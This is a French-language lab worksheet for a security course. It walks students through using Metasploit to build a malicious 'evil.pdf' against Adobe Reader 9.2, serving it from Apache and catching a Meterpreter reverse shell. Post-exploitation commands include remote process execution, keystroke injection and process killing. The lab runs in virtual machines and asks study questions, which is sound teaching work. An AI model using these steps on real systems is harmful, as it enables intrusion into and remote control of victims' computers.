TP N° 1

1. Lancer les deux machines virtuelles kali linux et windows , et assure la connectiviter avec la commande `ping` .
2. Desactiver windows defender et le par-feu de la machine virtuelle windows , pourquoi les desactiver ?
3. Installer adobe reader 9.2 sur la machine virtuelle windows
4. On va utilier metasploit dans kali linux taper les commandes suivant :
   - `msfconsole` pour lancer l'interface de commande principale de Metasploit.
   - `use exploit/windows/fileformat/adobe_pdf_embedded_exe` pour sélectionner l'exploit qui permet d'intégrer un exécutable malveillant dans un fichier PDF.
   - `show options` pour afficher tous les paramètres configurables de l'exploit sélectionné.
   - `set LAUNCH_MESSAGE <message pour inciter la victime à ouvrir le fichier pdf>` pour définir le message qui apparaîtra à l'ouverture du PDF afin d'inciter l'utilisateur à exécuter le code malveillant.
   - `exploit` pour lancer la création du fichier malveillant , comment s'appelle-t-il "evil.pdf".
5. On souhaite transférer ce fichier malveillant sur la machine de la victime. Comment procéder ? Nous allons utiliser Apache pour accomplir cela. Ouvrez un terminal en tant que root sur Kali et exécutez les commandes suivantes :
   - `service apache2 start` pour démarre le serveur Apache
   - `cp <chemin/evil.pdf> /var/www/html` : que fait cette commande ?
   - `ls /var/www/html` : vous devriez voir le fichier `evil.pdf` listé dans ce répertoire.
   - Depuis la machine Windows, ouvrez un navigateur et saisissez l'URL suivante : `IP_KALI/evil.pdf` afin de télécharger et installer le fichier `evil.pdf`.
6. Revenez sur la machine Kali et exécutez les commandes suivantes :
   - `use exploit/multi/handler` : sélectionne l'exploit générique permettant de gérer les connexions entrantes provenant du payload , c'est quoi un handler et payload ?
   - `set payload windows/meterpreter/reverse_tcp` : définit le payload utilisé pour établir une connexion inverse (reverse shell) depuis la machine cible Windows vers Kali Linux via TCP , c'est quoi reverse shell?
   - `show options` : affiche les options actuelles du payload. Vérifiez que l'option `LHOST` correspond bien à l'adresse IP de votre machine Kali. Si ce n'est pas le cas, utilisez la commande : `set LHOST <IP_KALI>`. Assurez-vous également que `LPORT` est configuré sur 4444.
   - `exploit` : lance l'écoute et attend que la victime ouvre le fichier malveillant pour établir la connexion Meterpreter.
   - Depuis votre machine Windows, ouvrez le fichier `evil.pdf` avec Adobe 9.2. Si Adobe vous propose d'enregistrer un fichier nommé `template.pdf`, choisissez le même emplacement que le fichier `evil.pdf`. Quel est le message affiché après avoir cliqué sur `Enregistrer` ? Ouvrez ensuite le fichier `template.pdf`.
7. Que remarquez-vous sur la machine Kali Linux ? Exécutez les commandes suivantes sur la machine Kali :
   - `pwd` : que fait cette commande ?
   - `execute -f notepad.exe` : exécute l'application `notepad.exe` sur la machine Windows depuis Kali.
   - `keyboard_send "Bonjour Je Suis Un Attaquant"` : que remarquez-vous sur le bloc-notes ouvert sur la machine Windows ?
   - `ps` : que fait cette commande ?
   - `kill <PID>` : permet de tuer n'importe quel processus actif sur la machine Windows depuis Kali en spécifiant son PID (Process ID).